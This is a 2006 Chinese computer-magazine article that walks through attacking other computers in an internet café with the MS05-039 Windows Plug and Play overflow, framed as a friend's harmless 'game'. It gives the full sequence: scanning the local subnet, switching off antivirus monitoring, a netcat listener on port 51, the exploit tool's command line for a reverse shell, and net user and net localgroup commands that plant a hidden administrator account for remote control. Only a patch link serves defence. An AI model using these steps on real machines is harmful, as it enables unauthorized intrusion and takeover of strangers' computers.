溫 鵬
筆者的朋友小王是個(gè)黑客愛好者,有時(shí)一起去網(wǎng)吧他要搞點(diǎn)小“破壞”,進(jìn)行所謂的侵入式攻擊,當(dāng)作無聊時(shí)的“游戲”。可是一直令筆者不解的就是,他每次都能輕易得手。究竟是什么攻擊會(huì)這么“霸道”呢?經(jīng)過筆者一番“軟磨硬套”后,小王舉了一個(gè)例子來示范。
提示
本文以Windows即插即用遠(yuǎn)程代碼執(zhí)行漏洞(MS05-039)為例,造成該漏洞的主要原因是即插即用服務(wù)中未經(jīng)檢查的緩沖區(qū)出現(xiàn)了溢出漏洞,受影響的系統(tǒng)主要包括Windows 2000 SP4和Windows XP SP1。
補(bǔ)丁地址:http://www.microsoft.com/china/technet/security/bulletin/MS05-039.mspx。
掃描檢測(cè)
首先下載MS05039漏洞掃描工具(http://www.foundstone.com/),這個(gè)安全小工具只是用于檢測(cè)系統(tǒng)是否存在MS05039漏洞,不具備攻擊功能。下載解壓后運(yùn)行其中的MS05039Scan.exe,在主界面中,先填寫要掃描的范圍。通常局域網(wǎng)內(nèi)電腦的IP都分配在192.168.0.1到192.168.0.254之間,如果此時(shí)想對(duì)所在的網(wǎng)吧做一次整體掃描,就在開始IP的標(biāo)簽處,輸入192.168.0.1的IP地址,然后在下面結(jié)束IP的標(biāo)簽處,輸入相對(duì)應(yīng)的192.168.0.254的IP地址(圖1)。
確定起始IP地址之后,單擊下面的“掃描”按鈕,這時(shí)在下方會(huì)逐個(gè)顯示出內(nèi)網(wǎng)的所有電腦,以及對(duì)這些電腦掃描的結(jié)果(圖2)。圖2中目前所選中的信息條,就是內(nèi)網(wǎng)機(jī)器中含有MS05039漏洞的主機(jī)。
在掃描結(jié)果欄目?jī)?nèi),顯示主機(jī)Status標(biāo)簽為Not vulnerable的字符,代表該主機(jī)不含有MS05039溢出漏洞。如果Status標(biāo)簽內(nèi),出現(xiàn)的是vulnerable字符,則此主機(jī)含有MS05039溢出漏洞。
守株待兔
下面要做的是監(jiān)聽本機(jī)端口,等待意外收獲。
提到監(jiān)聽本機(jī)端口,自然會(huì)想到大名鼎鼎的瑞士軍刀NC工具,它以短小精悍著稱,在網(wǎng)上找到它并不是什么難事。由于有些殺毒軟件要對(duì)NC工具報(bào)警,為了省去麻煩,先關(guān)閉殺毒軟件的實(shí)時(shí)監(jiān)控以及按訪問掃描,然后將它下載到C盤中。
單擊“開始”菜單,選擇“運(yùn)行”,打開“運(yùn)行”對(duì)話框。在“打開”標(biāo)簽處輸入CMD命令,然后敲擊“回車”鍵。在彈出的命令窗體中,轉(zhuǎn)換目錄到NC程序所在的位置。在命令行處輸入“NC–vv–l–p51”的命令,然后敲擊“回車”鍵,即可實(shí)現(xiàn)對(duì)本機(jī)51端口的監(jiān)聽(圖3)。
在剛才執(zhí)行的NC命令中:-vv參數(shù)代表顯示更詳細(xì)的監(jiān)聽內(nèi)容;-l代表連接端口關(guān)閉后,仍然繼續(xù)監(jiān)聽;-p進(jìn)行本地端口監(jiān)聽,后跟數(shù)字就是所要監(jiān)聽的端口號(hào)。
溢出攻擊
“天羅地網(wǎng)”布下了,現(xiàn)在開始“引誘”主機(jī),讓它自投羅網(wǎng),“鉆進(jìn)”已經(jīng)設(shè)下的陷阱,從而能夠省去“徒勞無功”的等待時(shí)間。
小知識(shí)
SHELL是指操作系統(tǒng)的最外層,管理著用戶與操作系統(tǒng)交互、通訊、執(zhí)行等操作。如果能得到對(duì)方的SHELL,也就代表著擁有了與對(duì)方計(jì)算機(jī)直接溝通、下達(dá)命令的平臺(tái)。
為了抓住這些含有MS05039溢出漏洞的機(jī)器,還要下載MS05039溢出工具。打開一個(gè)新的C M D命令行窗口,切換到MS05039溢出工具的目錄內(nèi)。在命令行下輸入MS05039.exe192.168.0.89 192.168.0.55 511。溢出192.168.0.89是對(duì)方的IP,接收溢出信息的是本機(jī)192.168.0.55,51是接收端口。最后參數(shù)代表溢出模式,可選1和0,是根據(jù)不同的版本補(bǔ)丁來定的。如果此機(jī)器剛才用掃描器確實(shí)檢測(cè)出含有溢出漏洞,但是用0總是溢出不成功,我們可以換成1。
按下“回車”鍵后,開始“引誘式”溢出攻擊,稍微等待幾秒鐘后(圖4),屏幕就會(huì)顯示出帶有英文字符的OK,這簡(jiǎn)單地說就是溢出成功的意思。
返回到NC監(jiān)聽界面,此時(shí)就會(huì)發(fā)現(xiàn)已經(jīng)獲取到了對(duì)方的SHELL。接下來就在該SHELL平臺(tái)中,敲入net user WENPENG 123456 /ADD的命令,將“WENPENG”賬號(hào)添加到被入侵主機(jī)內(nèi),再用net localgroup提升這個(gè)賬號(hào)到管理員組。
隨后就可以使用遠(yuǎn)程客戶端軟件,直接輸入剛剛建立的用戶名,進(jìn)行遠(yuǎn)程“惡作劇”了。也能使用其他第三方軟件連接控制等,這類方法很多,可以靈活運(yùn)用。
本文中所涉及到的圖表、注解、公式等內(nèi)容請(qǐng)以PDF格式閱讀原文。
計(jì)算機(jī)應(yīng)用文摘·觸控2006年10期